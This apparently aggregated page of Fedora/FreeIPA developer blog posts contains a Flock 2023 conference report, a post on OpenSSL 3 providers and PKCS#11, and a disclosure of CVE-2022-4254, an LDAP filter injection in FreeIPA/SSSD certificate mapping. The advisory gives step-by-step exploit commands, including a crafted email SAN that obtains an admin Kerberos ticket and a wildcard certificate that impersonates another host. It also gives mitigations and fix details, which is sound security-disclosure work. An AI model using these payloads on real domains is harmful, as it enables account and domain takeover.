Unfortunately, not everyone made to Cork. Marina Zhurakhinskaya passed away in June 2022. Ben Cotton, Fedora Program Manager, has been let go as a part of Red Hat’s layoffs earlier this year. Both had definitely changed Fedora project dramatically, in many ways, both leading to openness and friendliness Fedora is known for. Many presenters remembered both Marina and Ben during their sessions.

2023’s edition of Flock to Fedora was also the first Fedora Project’s event collocated with CentOS Connect. As a result, it brought together Red Hat Enterprise Linux distribution upstreams and downstreams together.

Talks

In total, there were up to four parallel tracks, dedicated to different areas of a distribution development and a project’s life and spanned over three days. That, unsurprisingly, made it challenging to visit all talks and activities. It is a common trait shared by many successful events. And for those who wanted to continue discussions after a talk has ended, there is always a ‘hallway track’.

State of Fedora 2023

The first talk was ‘State of Fedora 2023’ by the project leader, Matthew Miller. Recording is available here. I am linking to the re-take of the talk as the original streaming was off by 20 minutes and Matthew had to reprise it again.

A major announcement made during the talk was a hiring one. Fedora Operations Architect role has been introduced after a program manager role that Ben Cotton so masterfully executed was eliminated. Hopefully, this new role will be filled soon and will allow to capture the same benefits that Ben brought to Fedora. The role is a bit different, though, as it is focused on cross-project and cross-distro impact across Fedora and RHEL.

Fedora contributors’ survey results were also unveiled by Matthew in the talk. In general, contributors keep trust in the project and continue their participation at the pre-pandemia levels. Recent social networking turmoil around Red Hat actions hasn’t influenced the results too much. The screenshots below are from the video stream as the talk’s slides aren’t yet available.

The talk went into details on what Matthew and Fedora Council aim for Fedora Project’s future. Growing a project with thousands of contributors spread around the world and representing different cultures is hard. A lot of effort is put into making Fedora a welcoming place to everyone who is willing to work together towards a common goal.

`rpminspect`: Lessons from three distributions

David Cantrell created and maintains a tool that helps RHEL maintainers to keep their packages sane over years of maintenance. It is run as a part of CentOS Stream merge request process, as part of Fedora gating and pull request testing, and as a gating test for RHEL.

The talk itself is an excellent retrospective on what one should consider when creating a new Open Source project while working on it full time. David provided observations on how to sell the idea to your management, how to get people interested in becoming a community for your project, how to sustain development in a long run. This is one of rare gems of a ‘lone wolf’ maintainership stories that everybody needs to absorb when they start their new journey. Believe me, it is worth it.

Using AI/ML to process automated test results from OpenQA

Tim Flink from Fedora QE team decided to apply AI/ML to a problem of identifying hanging or failing jobs in OpenQA. OpenQA runs full-VM tests and records screencasts of everything what is shown on a VM screen. A crash of a graphical environment is abruptly visible there as graphics would be replaced by a terminal with a Wayland’s stacktrace. What followed is an experiment on processing these screens to reliably detect a particular type of a crash.

We spent some time with Tim discussing how these experiments can be applied to finding out possible issues in other system reports. Since Fedora is upstream of CentOS Stream or RHEL, it means certain issues – and their fixes – would often appear in Fedora first. If we could train a model on those issues in Fedora, can we detect automatically whether a particular fix is required in RHEL later? This is quite relevant to FreeIPA and SSSD as we do run their tests in OpenQA as a part of Fedora Server release criteria.

Another possible use case is to do a reverse training. Since we do know how a potential failure could look like, we can intentionally build an OpenQA test environment that would reproduce the failure and then train a model to recognize logs from such failures in real life scenarios. For example, establishing trust to Active Directory in FreeIPA is reliant on a working DNS setup, working firewall, etc. Failure to communicate through an incomplete firewall would be reflected with timeouts in the logs which we could train to recognize. There are endless possibilities here to aid through known errors…

Hallway track

On a similar note, I had discussion with Amazon’s David Duncan in the ‘hallway track’ which started from an observation that Cloud SIG would really benefit from our passwordless work: distributing VMs with pre-set passwords is not ideal, an ability to inject FIDO2 passkey information and have everything obey it at login in cloud would be great to have. Somewhere along this way, discussion switched to CoreOS-based environments and I realised my experiments with Fedora Silverblue to develop passwordless support for FreeIPA would probably be a subject to a talk that would be interesting to others as well.

I am running my own Silverblue images which source SSSD and FreeIPA upstream test builds to allow me easily to switch between different potential options in one go, without messing with an installation environment. It is quite important for the integration work we do and would be crucial for end-to-end testing of upcoming GNOME changes.

This also provided me an insight into what container-based environments need from FreeIPA and overall from enterprise domains to fit nicely. I should have submitted a talk about that to Flock! Well, I will do one next year, for sure. (And, TODO: file issues to track for that integration to FreeIPA upstream!)

Another interesting discussion we had with Jonathan Dieter. Jonathan is a long term Fedora contributor and FreeIPA user. For past several years Jonathan works with a local Irish company that provides services around the world to test local phone numbers. They maintain an infrastructure in more than 80 countries where there might be no global cloud providers at all. To keep that infrastructure reliable, they use FreeIPA (not alone, of course) and OStree-based images.

Asahi Linux and Fedora

It is one of the talks that I missed to attend in person as conflicts are inevitable: Mo Duffy’s Podman Desktop talk and Adam Williamson’s Fedora CI state talk were running at the same time.

Asahi Linux is a project which aims to upstream support for Apple’s ARM64 architecture, best known through Apple’s M1 and M2 systems. At the Flock Asahi Linux project members have announced that not only Fedora Asahi Remix will be the flagship distribution for the project, but also Fedora Discourse instance will be used to handle Asahi Linux community collaborations.

Asahi’s announcement also an example of how friendly has become Fedora Project as a community over years. I am definitely looking forward to see the remix to become one of official builds of Fedora.

Podman desktop: from Fedora to Kubernetes for beginners

Mo Duffy gave an outstanding talk about using Podman desktop to deliver workloads for non-technical people. It was a highlight of the conference, for sure. She also made few interesting points. For one, running cloud-based workloads locally to allow offline operations is nice. Mo demonstrated a Penpot instance, which is a design and prototyping application. Running it locally helps to maintain the same workflow while on an intercontinental flight. However, even more interesting is that this approach also allows to use a cloud software that otherwise is considered insecure. For example, running a Wordpress setup locally to benefit from its nice UI in a local browser and export static web site content to push to the actual web hosting.

By lowering a barrier to use containerised applications through Podman Desktop we may hope to get more people join our community and contribute. Starting with Podman Desktop’s friendliness would allow these newcomers to discover other Fedora flavors and features. It is certainly an interesting aspect we could expand further in a way similar how this ‘F’ in Fedora got expanded in Mo’s presentation.

Panel: Upstream collaboration & cooperation in the Enterprise Linux ecosystem

Another conference highlight was the panel that brought representatives of Fedora, RHEL, Rocky Linux, Alma Linux, and CentOS Stream together on stage. Distributions upstream and downstream of RHEL presented their views on various development and community topics. It is worth to watch the stream.

State of EPEL

Trow Dawson and Carl George did present another state of EPEL. EPEL has a solid contributors’ base who keep thousands of packages available to RHEL and downstream distributions’ users. EPEL is using Fedora infrastructure and for many packages it shares maintainers with Fedora (EPEL branches are branches in Fedora dist-git for the same package, if this package is not in RHEL). So all EPEL contributors are Fedora contributors. ;)

One interesting aspect in every “State of EPEL” talk is a long tail of the EPEL demographics. Much like “State of Fedora” shows demographics of Fedora releases, EPEL statistics includes details on who is running the lowest number of downstream systems:

Passwordless Fedora

My talk was on the morning of the second day. People were still recovering from the night of International Candy Swap and table games so at start I had may be a couple of attendies. Eventually, we’ve got more people in the room and there were also online attendees so it wasn’t so feeling so lonely.

My talk was similar to previous ones at FOSDEM and SambaXP. What was new is a demo from Ray Strode on how potentially a user experience could look like in GNOME for a passwordless login. Ray implemented a prototype of external identity provider login flow that Allan Day has shared recently. This flow could be used for login through Microsoft’s Entra ID (a.k.a. Azure AD) or any OAuth2 provider supported by FreeIPA. We aren’t fully there yet but the goal is to do this work once for GNOME and reuse for various passwordless authentication approaches supported through SSSD.

I also showed an old demo from my FOSDEM and Flock 2016. It shows how we integrated 2FA tokens (Yubikeys in this example) with FreeIPA to authenticate and obtain Kerberos tickets through a KDC proxy over HTTPS. These tickets then were used to login onto a VPN. This is something that is possible in Fedora and RHEL for almost a decade now.

OpenQA hacking

Before Flock, Adam Williamson started to work on integrating Samba AD tests into OpenQA for Fedora. It almost worked well but there were few issues Adam wasn’t able to resolve so we set down at the Flock and figured out at least few of those. The only remaining one was an apparent race condition within a test that enrolls a system to Samba AD using kickstart. SSSD, it seems, starts before networking is up and stable, and decides that it is offline. When the test tries to resolve an Active Directory user, SSSD fails to do so as it thinks to be offline.

Interestingly, the same test against FreeIPA works fine. The same test done past kickstart works fine as well, for both FreeIPA and Samba AD. There is probably a need to add a waiting period to settle a network state. We saw this in past too but never found a good way to trigger a proper event for SSSD to recover.

I am trying to reduce candy consumption so I skipped the social events on the first day but attended the conference dinner on the second day. All social events during the Flock well organized and this one wasn’t exception either. We had interesting discussions with Fedora and Rocky folks, getting to know there is a lot of similarity in how people do their lives across the world.

On Friday’s night another social event was a Ghost Tour. However, we skipped it and together with few other people went to do a bit of memorabilia road through another Mexican place and (of course!) a local bar. Life in IT and development in 90’s and early 2000’s weren’t that much different in US and Europe, really. Thanks to Spot and Amazon for covering the dinner, thanks to other folks for beer and a company.

I left on Saturday at noon using the same Aircoach bus towards Dublin airport. The bus was full – make sure you have booked your seat online in advance. My flight back to Finland was uneventful as well. Overall, it was a great conference, as usual. I’d like to say thank you to all volunteers and organizers who keep Flock so wonderful and Fedora project so welcoming. Thank you!

OpenSSL 3.0 Providers and PKCS#11

2023-02-04T21:38:00+00:00

After a long hiatus I am back with a new blog post.

What triggered it is that I started a new project because I wanted to explore two things I have been putting off for a while, and I had some time on my hands on a long weekend.

What's interesting about this project is that, on paper, it is straightforward, we just wire up one API to another, and given both deal with simple cryptography primitives it should be pretty simple... or is it?

Well of course it isn't, first of all we are talking about cryptography, which is notoriously finicky in terms of API for various legitimate, and less so, reasons. But the actual calls that need to be made to implement the cryptography are the least problematic, for the most part. What really makes things hard are the lack of documentation about OpenSSL providers, and the impedance mismatch between the way OpenSSL goes about handling some of the operation and the way PKCS#11 envisions applications should handle the cryptography engine.

So the task of pairing two APIs is compounded by the need to decide what compromise can be reasonable when the semantics differ.

A small rant on OpenSSL internals

Of course this is possible only after you go through digging into OpenSSL's source code to try to figure out the semantics in the first place. I have to admit that OpenSSL's internals are quite convoluted and baffling at times, and more than once I felt like the architecture of the code was unnecessarily complicated and obscure/obtuse. Of course I understand that there is a hefty dose of legacy code that forced some of these contortions but still...

The code is really hard to follow for a few reasons:

- A lot of code is generated at build time through a nest of macros.
This means that some of the tools I use to automatically navigate the code are neutralized because they can't preprocess macros, forcing to resort to clever grepping of partial names to try and find the place where these macros may be, then mentally reconstruct each time what might be generated to figure out the next function called to look at.
I could use stuff like gcc -E to get and index the preprocessed output before compilation, but it is not as easy to do and requires battling the build system.

- A ton of indirection and jump tables are used all over the code.
The OpenSSL code is excessively dynamic, at runtime there are dozens and dozens of places where the code is "pluggable" and several different cryptography primitives can be called from one API and then multiplexed internally based on some identifier passed from the application. This makes the API easier to use from applications, but makes it hard to follow what is being called next at any given time.

The lack of very obvious naming standards, the reuse of very simple words like "sign/encrypt" as elements of these tables and several layers of indirection introduced by providers and other layers that deal with legacy APIs makes it impossible to read the code linearly, from point of entry to the execution of the actual primitives. In order to understand with any degree of confidence what is going on under the hood you need to keep in your head a lot of knowledge of how the internal works. This is beyond the ability of my brain, so I often resort to using GDB and some strategically placed break points. Unfortunately just using gdb and stepping through is also not a viable way to explore the code because the abstraction around internal name/provider and therefore function routing/data caching resolution is absolutely impenetrable.

A Small rant on PKCS#11

Ok enough about OpenSSL, let's look into the PKCS#11 API.

At a first glance I have to say that the PKCS#11 API is pretty straightforward, you just call an initial entry point after dlopen() of the driver you want to use, get a function table and then each cryptography primitive that the standard support is called through reasonable well though and minimal abstractions.

What are the issues surrounding PKCS#11 then? It's more of an ecosystem issues in this case. The PKCS#11 API has gone through various revisions, so you have to deal with tokens that may be stuck on an older version (and therefore support less stuff, but if that was the only issue it would be easy to solve, you just write 2/3 variants per PKCS#11 version and you are done ... not so fast!

One of the issues with PKCS#11 is that historically it was not prescriptive enough, tokens can decide arbitrarily which kind of functions they support, so you have to be prepare to deal at runtime with missing functionality. This may force adding fallback code to handle functions that OpenSSL assumes are provided by a single provider facility.

Another issue is that although the spec is quite big and detail, it is, at the same time, somewhat under specified when it comes to some of the details. For example trying to figure out what exact formatting is needed for an attribute like CKA_EC_PARAMS (for ECDSA signatures ) is not trivial due to use of a lot of ASN.1 in DER format and OIDs.

Then there are the many and obviously bogus drivers, those that stuck to the letter of the spec to avoid coding difficult stuff. One notable example I will not mention by name I looked at recently is as bare bone as you can possibly imagine and be somewhat spec compliant. A bit depressing.

The problem with low quality drivers is that you need to account for quirks, and add more code to handle stuff that can be made to work but not quite the correct way you should be doing it.

Conclusions

Although I like ranting, I have to say I am enjoying writing this code, just like the old Samba times, you have to go and discover what actually works, what other engineers came up and actually did behind APIs. Discovering the actual semantics, and sometimes using them against the original Kung Fu style is fun.

The main goal of this project is to make Hardware Tokens really accessible to applications. Unlike the old "enignes" APIs in OpenSSL, where applications had to be explicitly coded to work differently in the presence of an external cryptography module, the provider's API is basically hidden within OpenSSL's core and "transparent" to applications.

code written against the modern OpenSSL v3 facilities that uses URIs to reference keys (a file name is considered a URI) through the store API could use a PKCS#11 module without any code difference, by simply replacing the pem file path with a pkcs11: URI.

Of course most applications are written against a mix of old and clunky OpenSSL APIs that have not been fully deprecated yet, but given the changes we see at the horizon, with the advent of PQC algorithms, I think we have a chance to see a lot of applications changing over to the new OpenSSL APIs which will be the only ones to offer access to these new algorithms.

Fun times ahead

CVE-2022-4254: FreeIPA PKINIT certificate mapping vulnerability

2023-02-02T00:00:00+00:00

CVE-2022-4254: FreeIPA PKINIT certificate mapping vulnerability

Executive summary §

FreeIPA supports the Kerberos PKINIT protocol extension (RFC 4556). PKINIT enables a client to authenticate to the KDC using an X.509 certificate and the corresonding private key, rather than a passphrase or keytab. FreeIPA uses mapping rules to map a certificate presented during a PKINIT authentication request to the corresponding principal. The mapping filter is vulnerable to LDAP filter injection. The search result can be influenced by values in the certificate, which may be attacker controlled. In the most extreme case, an attacker could gain control of the admin account, leading to full domain takeover.

FreeIPA is not vulnerable in its default configuration. To exploit this bug requires:

PKINIT is used in the environment, with certmap rules that are susceptible to LDAP filter injection via data from the client’s certificate; and
A client certificate used for PKINIT includes data that result in the construction of an LDAP filter with a different meaning than the administrator intended. This is unlikely in general, but some use cases present a heightened risk, especially if the CA includes (or can be induced to include) client-supplied or attacker-controlled attributes in end-entity certificates.

The issue was assigned CVE-2022-4254.

Affected versions §

The problem is in libsss_certmap, which is part of SSSD. FreeIPA servers use this library in ipa_kdb Kerberos plugin implementation.

The issue was introduced in SSSD 1.15.3 (when libsss_certmap was introduced) and resolved in SSSD 2.3.1.

All supported versions of RHEL 7 were affected (the fix was released on the RHEL 7.9 bugfix stream). RHEL 8.0 up to 8.3 (inclusive) were also affected (the fix was released to the still-supported streams).

RHEL 8.4 onwards and RHEL 9 are not affected. No supported versions of Fedora are affected.

Timeline §

2017-07-25: libsss_certmap was released with SSSD 1.15.3.
2020-04-28: SSSD issue pagure#4180 / github#5135 was created, reporting a lack of sanitisation of filter substitutions in maprules.
2020-07-24: The sanitisation issue was fixed upstream and SSSD 2.3.1 is released, containing the fix.
2022-11-16: While reviewing a feature involving the use of PKINIT, I noticed that some versions of the libsss_certmap code did not seem to sanitise certificate data used in LDAP filters. I started to investigate.
2022-11-17: I succeed in exploiting the behaviour, and began internal discussions with Red Hat’s Platform Security engineering team.
2022-12-01: I sent my analysis to Red Hat’s Product Security team. CVE-2022-4254 was reserved for this issue on the same day.
2023-01-24: Planned release of fix to RHEL 7.9 sssd package, in Batch Update 20. Details of the vulnerability were made public.

Problem description §

FreeIPA supports certificate mapping rules for mapping certificates presented during PKINIT authentication to a Kerberos principal. Certmap rules are stored in the LDAP database under cn=certmaprules,cn=certmap,{basedn}. The ipa_kdb plugin uses libsss_certmap to process certmap rules. An example rule object:

dn: cn=certmap1,cn=certmaprules,cn=certmap,dc=ipa,dc=test
cn: certmap1
ipacertmapmaprule: (|(mail={subject_rfc822_name})(entryDN={subject_dn}))
ipaenabledflag: TRUE
objectClass: ipacertmaprule
objectClass: top

The ipacertmaprule attribute is a string representation of an LDAP filter (RFC 4515), with substitution templates in curly braces (e.g. {subject_dn}). Template substitution is performed by the sss_certmap_get_search_filter subroutine. The supported templates are described in sss_certmap(5). They include:

{cert!base64} (base64 encoding of whole certificate)
{issuer_dn}
{subject_dn}
{subject_rfc822_name}
{subject_dns_name}

The KDC uses the resulting filter within a bigger search filter that it uses to match the principal. The filter includes the requested principal name from the Kerberos authentication service request (AS_REQ), and the maprule filter. The complete filter has the following structure (wrapped for readability):

(&
  (|
    (objectClass=krbprincipalaux)
    (objectClass=krbprincipal)
    (objectClass=ipakrbprincipal)
  )
  (|
    (ipaKrbPrincipalAlias=REQUESTED_PRINCIPAL@REQUESTED_REALM)
    (krbPrincipalName:caseIgnoreIA5Match:=REQUESTED_PRINCPAL@REQUESTED_REALM)
  )
  MAPRULE_FILTER_GOES_HERE
)

Note that the requested principal is specified by the client in the Kerberos AS_REQ. This value is properly escaped where it is inserted in the filter. But it is important to note that the client can specify any principal the maprule filter fragment matches.

Sanitisation not performed §

Some template substitutions are inherently safe, but some use values from the certificate that could contain characters with special meaning in LDAP filters. Of the substitutions listed above, only {cert!base64} is safe. The others could contain special characters (and there are still more that I did not list). Values that could contain special characters have to be sanitised (escaped). Specifically, the following characters must be replaced with a hex escape sequence:

NUL → \00
( → \28
) → \29
* → \2A
\ → \5C

The affected versions of SSSD do not perform this sanitisation. As a consequence, the template substitutions can result in invalid filters (resulting in authentication failure) or filters that match the wrong principal entry (dangerous). The next two sections demonstrate two different exploit scenarios.

LDAP filter injection has been assigned CWE-90 in the Common Weakness Enumeration database. Conceptually it is very similar to SQL injection (CWE-89).

Demo 1: Attacker-supplied `rfc822Name` §

We will issue a certificate with an attacker-supplied rfc822Name SAN value to an unprivileged user. The deployment has a plausible certmap rule with a structure that can be exploited to obtain a TGT for an attacker-specified user account, including highly privileged accounts such as admin.

It is a fresh deployment running FreeIPA 4.6 on RHEL 7.9:

# cat /etc/redhat-release
Red Hat Enterprise Linux Server release 7.9 (Maipo)

# rpm -qa |grep ipa-
ipa-client-4.6.8-5.el7.x86_64
sssd-ipa-1.16.5-10.el7.x86_64
ipa-server-4.6.8-5.el7.x86_64
ipa-common-4.6.8-5.el7.noarch
ipa-client-common-4.6.8-5.el7.noarch
ipa-server-common-4.6.8-5.el7.noarch

Setup §

Setup steps establish the user account, certmap rules, certificate profiles and issuance policies required for the subsequent attack. I perform these steps using the admin account:

# klist
Ticket cache: KEYRING:persistent:0:0
Default principal: admin@IPA.TEST

Valid starting     Expires            Service principal
28/11/22 23:00:19  29/11/22 23:00:07  ldap/rhel78-0.ipa.test@IPA.TEST
28/11/22 23:00:09  29/11/22 23:00:07  krbtgt/IPA.TEST@IPA.TEST

Create the unprivileged user alice. She will be the subject principal to whom the certificate will be issued.

# ipa user-add alice --first Alice --last Able --password
Password: XXXXXXXX
Enter Password again to verify: XXXXXXXX
------------------
Added user "alice"
------------------
...

Add a new mail attribute to alice’s LDAP entry. This will enable us to issue a certificate from the internal CA that includes the value as an rfc822Name Subject Alternative Name value.

# echo > mod.ldif <<EOF
dn: uid=alice,cn=users,cn=accounts,dc=ipa,dc=test
changetype: modify
add: mail
mail: "bogus)(uid=admin)(cn="@ipa.test
EOF

# ldapmodify -Y GSSAPI < mod.ldif
modifying entry "uid=alice,cn=users,cn=accounts,dc=ipa,dc=test"

I had to add the new mail attribute via ldapmodify because the email validation performed by the IPA API does not admit all valid local-part values. But it is in fact a valid email address.

The default access controls in FreeIPA do not allow non-admins to modify mail attributes, even in their own entry. But I use this approach because it is plausible for an organisation to have a system that allows employees to request a specific mail alias. Indeed we have such a system at Red Hat, although I don’t know if it would allow such an exotic value.

Next, add a CA ACL rule that permits certificate to be issued to user principals. For convenience we will use the included caIPAserviceCert profile. Typical real world user certificate scenarios would require a dedicated profile.

# ipa caacl-add users_caIPAserviceCert --usercat=all
-------------------------------------
Added CA ACL "users_caIPAserviceCert"
-------------------------------------
  ACL name: users_caIPAserviceCert
  Enabled: TRUE
  User category: all

# ipa caacl-add-profile users_caIPAserviceCert --certprofile caIPAserviceCert
  ACL name: users_caIPAserviceCert
  Enabled: TRUE
  User category: all
  Profiles: caIPAserviceCert
-------------------------
Number of members added 1
-------------------------

Finally add the certmap rule. It has a two-part or-list intended to match the rfc822Name from the certificate to the mail attribute, or else match the certificate subject DN to DN of the LDAP entry:

# ipa certmaprule-add certmap1 --maprule \
    "(|(mail={subject_rfc822_name})(entryDN={subject_dn}))"
--------------------------------------------------
Added Certificate Identity Mapping Rule "certmap1"
--------------------------------------------------
  Rule name: certmap1
  Mapping rule: (|(mail={subject_rfc822_name})(entryDN={subject_dn}))
  Enabled: TRUE

The steps performed above are not part of the exploit itself, and they require administrator privileges to perform. They are presented as plausible configurations, the likes of which may exist (or not) in a customer’s environment.

Exploit §

alice will request a certificate with the suspicious rfc822Name and acquire a TGT for the admin user. First obtain a TGT for alice (using password authentication):

$ kinit alice
Password for alice@IPA.TEST:

Create a new keypair and certificate signing request (CSR). The config causes the CSR to bear a SAN extension request containting the malicious rfc822Name:

$ echo > naughty.conf <<EOF
[ req ]
prompt = no
encrypt_key = no
distinguished_name = dn
req_extensions = exts
[ dn ]
commonName = "alice"
[ exts ]
subjectAltName=email:\"bogus)(uid=admin)(cn=\"@ipa.test
EOF

$ openssl req -new -config naughty.conf \
    -keyout naughty.key -out naughty.csr
Generating a 2048 bit RSA private key
..........+++
......................+++
writing new private key to 'naughty.key'
-----

Issue the certificate (this is a self-service certificate request, which FreeIPA allows, subject to CA ACLs):

$ ipa cert-request naughty.csr \
    --principal alice naughty.csr \
    --certificate-out naughty.pem
  Issuing CA: ipa
  Certificate: MIIEPjCC...
  Subject: CN=alice,O=IPA.TEST 202211171708
  Subject email address: "bogus)(uid=admin)(cn="@ipa.test
  Issuer: CN=Certificate Authority,O=IPA.TEST 202211171708
  Not Before: Tue Nov 29 04:42:58 2022 UTC
  Not After: Fri Nov 29 04:42:58 2024 UTC
  Serial number: 13
  Serial number (hex): 0xD

Finally, use the new certificate and key to obtain a TGT for admin:

$ kinit -X X509_user_identity=FILE:naughty.pem,naughty.key admin

$ klist
Ticket cache: KEYRING:persistent:1001:krb_ccache_UnnYkF2
Default principal: admin@IPA.TEST

Valid starting     Expires            Service principal
28/11/22 23:47:44  29/11/22 23:47:44  krbtgt/IPA.TEST@IPA.TEST

The exploit succeeds because the unescaped rfc822Name value results in a filter that matches the admin user (formatted for readability):

(&
  (|
    (objectClass=krbprincipalaux)
    (objectClass=krbprincipal)
    (objectClass=ipakrbprincipal)
  )
  (|
    (ipaKrbPrincipalAlias=admin@IPA.TEST)
    (krbPrincipalName:caseIgnoreIA5Match:=admin@IPA.TEST)
  )
  (|
    (mail="bogus)
    (uid=admin)
    (cn="@ipa.test)
    (entrydn=CN=alice,O=IPA.TEST 202211171708)
  )
)

Demo 2: Wildcard DNS name §

A wildcard certificate can be used to obtain a TGT for a different host principal.

Setup §

Add a profile for issuing wildcard certificates. I will skip the details and instead refer to my blog post on this topic.

Add a host called ipa.test, a host group called webservers, and make ipa.test a member of webservers:

# ipa host-add ipa.test --force
----------------------
Added host "ipa.test"
----------------------
  Host name: ipa.test
  Principal name: host/ipa.test@IPA.TEST
  Principal alias: host/ipa.test@IPA.TEST
  Password: False
  Keytab: False
  Managed by: ipa.test

# ipa hostgroup-add webservers
----------------------------
Added hostgroup "webservers"
----------------------------
  Host-group: webservers

# ipa hostgroup-add-member webservers --hosts ipa.test
  Host-group: webservers
  Member hosts: ipa.test
-------------------------
Number of members added 1
-------------------------

Add a CA ACL that allows webservers to be issued certificates via the wildcard profile:

# ipa caacl-add webservers_wildcard
----------------------------------
Added CA ACL "webservers_wildcard"
----------------------------------
  ACL name: webservers_wildcard
  Enabled: TRUE

# ipa caacl-add-host webservers_wildcard --hostgroup webservers
  ACL name: webservers_wildcard
  Enabled: TRUE
  Host Groups: webservers
-------------------------
Number of members added 1
-------------------------

# ipa caacl-add-profile webservers_wildcard --certprofile wildcard
  ACL name: webservers_wildcard
  Enabled: TRUE
  Profiles: wildcard
  Host Groups: webservers
-------------------------
Number of members added 1
-------------------------

Finally, add a certmap rule that uses SAN dNSName values to locate the principal:

# ipa certmaprule-add certmap2 \
    --maprule "(fqdn={subject_dns_name})"
--------------------------------------------------
Added Certificate Identity Mapping Rule "certmap2"
--------------------------------------------------
  Rule name: certmap2
  Mapping rule: (fqdn={subject_dns_name})
  Enabled: TRUE

Exploit §

We will issue a wildcard certificate for ipa.test, and use it to obtain a TGT for a different host. You could use Certmonger to request the certificate, but I will interact directly with FreeIPA via the ipa client program. The operator is the host/ipa.test principal (I kinited using the host keytab):

$ klist
Ticket cache: KEYRING:persistent:1001:krb_ccache_UnnYkF2
Default principal: host/ipa.test@IPA.TEST

Valid starting     Expires            Service principal
29/11/22 03:52:59  30/11/22 03:52:59  krbtgt/IPA.TEST@IPA.TEST

Create a keypair and CSR:

$ openssl req -new -subj '/CN=ipa.test/' -nodes \
    -keyout server.key -out server.csr
Generating a 2048 bit RSA private key
........................................................+++
.....................................................................................................................+++
writing new private key to 'server.key'
-----

Request the certificate, being sure to specify the wildcard profile:

$ ipa cert-request server.csr \
    --principal host/ipa.test \
    --profile-id wildcard \
    --certificate-out server.pem
  Issuing CA: ipa
  Certificate: MIIENTCC...
  Subject: CN=ipa.test,O=IPA.TEST 202211171708
  Subject DNS name: ipa.test, *.ipa.test
  Issuer: CN=Certificate Authority,O=IPA.TEST 202211171708
  Not Before: Tue Nov 29 09:14:09 2022 UTC
  Not After: Fri Nov 29 09:14:09 2024 UTC
  Serial number: 16
  Serial number (hex): 0x10

Finally, use the new certificate and key to obtain a TGT for a different host whose fqdn attributes matches the LDAP substring filter (fqdn=*.ipa.test). In this example I acquire the TGT for host/rhel78-0.ipa.test (one of the FreeIPA servers).

$ kinit -X X509_user_identity=FILE:server.pem,server.key \
    host/rhel78-0.ipa.test

$ klist
Ticket cache: KEYRING:persistent:1001:krb_ccache_UnnYkF2
Default principal: host/rhel78-0.ipa.test@IPA.TEST

Valid starting     Expires            Service principal
29/11/22 04:15:52  30/11/22 04:15:52  krbtgt/IPA.TEST@IPA.TEST

The exploit succeeds because the unescaped wildcard dNSName value results in a substring match filter (formatted for readability):

(&
  (|
    (objectClass=krbprincipalaux)
    (objectClass=krbprincipal)
    (objectClass=ipakrbprincipal)
  )
  (|
    (ipaKrbPrincipalAlias=host/rhel78-0.ipa.test@IPA.TEST)
    (krbPrincipalName:caseIgnoreIA5Match:=host/rhel78-0.ipa.test@IPA.TEST)
  )
  (fqdn=*.ipa.test)
)

The maprule filter matches any principal whose fqdn attribute ends in .ipa.test. This sub-filter could match multiple principle entries, but the client-specified principal name used in the krbPrincipalName and ipaKrbPricipalAlias filters select the one we want.

If there are multiple SAN values of the relevant type, the order is important. The last value is used in the template substitution. In my certificate, the last value is *.ipa.test so the exploit succeeds. If the order was reversed, the exploit would not succeed. This is an implementation detail of SSSD; it might as well have used the first value but it just happened to be implemented this way.

Discussion §

These exploits required a confluence of contributing factors to succeed. Deployments using PKINIT with exact certificate matching (the default) are also unaffected. The vulnerability only arises when the customer uses certmap rules. None are defined by default. Certmap rules (if they exist) are only potentially vulnerable; several other factors have to come together.

The attacker must obtain a valid certificate from a trusted CA for a key they control. Except in limited cases (e.g. wildcard DNS names) the attacker must to be able to influence the attributes on the certificate. Only free-form string attributes are potentially problematic. These include DNS name, email address, SAN DN values, principle names, and perhaps others. And there have to be SSSD certmap rule template substitutions for the targeted attribute(s).

Next, there had to be a certmap rule that substitutes the problematic value into the LDAP search filter. All filters that substitute free-form attributes are susceptible to exploitation. But in practice, or-list filters are more susceptible to exploitation than and-list or single-clause filters. This is because the attacker has more flexibility in how to make the filter match the target account. But as we saw in the wildcard dNSName example, even a single-clause filter fragment could be exploitable.

The default ACIs allow any authenticated account to read certmap rule entries. This may aid attackers in working out the attack details.

Note that most free-form attributes have additional syntax rules imposed upon them. For example, a SAN dNSName value should look like a DNS name, and a SAN rfc822Name value should be a valid email address. But the raw ASN.1 data does not guarantee this. Even legal values can be problematic (as demonstrated). But if a trusted CA can be induced to issue certificates that contain arbitrary data in those free-form attributes, there is an even greater risk of exploitation.

The use of the internal CA in this attack is incidental. The administrator can configure FreeIPA to trust external CAs for validating client PKINIT certificates. Any trusted CA can be used in the attack, if the attacker can cause it to issue certificates containing problematic values. Note that the KDC trusts the whole system trust store, not just the trusted CAs from the FreeIPA CA trust store. Certmap rules can be equipped with matching rules to restrict which issuers are allowed for PKINIT certificate matching, separate from CA trust for certification path verification purposes.

Mitigations §

Use exact certificate matching / do not use certmap rules §

PKINIT uses exact certificate matching by default. If feasible, you can rely on that method and disable or delete any certmap rules. ipa certmaprule-find lists all certmap rules that have been defined. Use ipa certmaprule-disable NAME or ipa certmaprule-del NAME to disable or delete certmap rules, respectively.

The main drawback to this approach is that each principal’s entry must have an up-to-date userCertificate attribute containing the user’s certificate(s). This increases the size of entries, and may have additional adminstrative overhead depending on how certificates are issued and managed.

Audit and de-risk certmap rules §

Non-santised parameter substitution in an LDAP filter or-list is riskier than in and-lists lists or single . Replace certmap rules containing or lists with multiple, separate certmap rules.

Ensure each rule is as specific as possible, and consider the possibility of outlier or malicious values in the certificate when designing certmap rules.

Review CA trust, profiles and validation §

Review the kinds of data, especially user-supplied or user-writeable data, that can be included on certificates issued by CAs that are trusted for PKINIT purposes. Audit how those data are validated.

Review and limit which CAs are trusted for PKINIT to only those that are necessary. If possible, consider using dedicated CAs for issuing the client certificates used for PKINIT. Use the certmap matching rule feature (not discussed here) to restrict the KDC to only allow certificates issued by the PKINIT CAs.

Fix §

Lack of sanitisation in certmap LDAP filter construction was recognised as a bug in SSSD issue pagure#4180 / github#5135. The framing of the issue was that legitimate values in the certificate were causing SSSD to construct invalid LDAP filters. It appears that the security implications were not recognised or discussed at that time.

SSSD commit a2b9a84460429181f2a4fa7e2bb5ab49fd561274 implemented the required sanitisation. SSSD 2.3.1 was the first release containing the fix. Commit 918fb32af6a271230bf87db47f78768edb9ca86c on 2022-01-06 backported the fix to the sssd-1.16 branch, but there has not yet been a new release from this branch containing the fix.

The SSSD team backported the fix to RHEL 7.9. It was included in Batch Update 20 which was released on 2022-01-24. Fixes to extended support streams for RHEL 8.1 and 8.2 were also released on that day, meaning that the issue is now fixed in all supported versions of RHEL.

Enabling Kubernetes feature gates in OpenShift

2023-01-22T00:00:00+00:00

Enabling Kubernetes feature gates in OpenShift

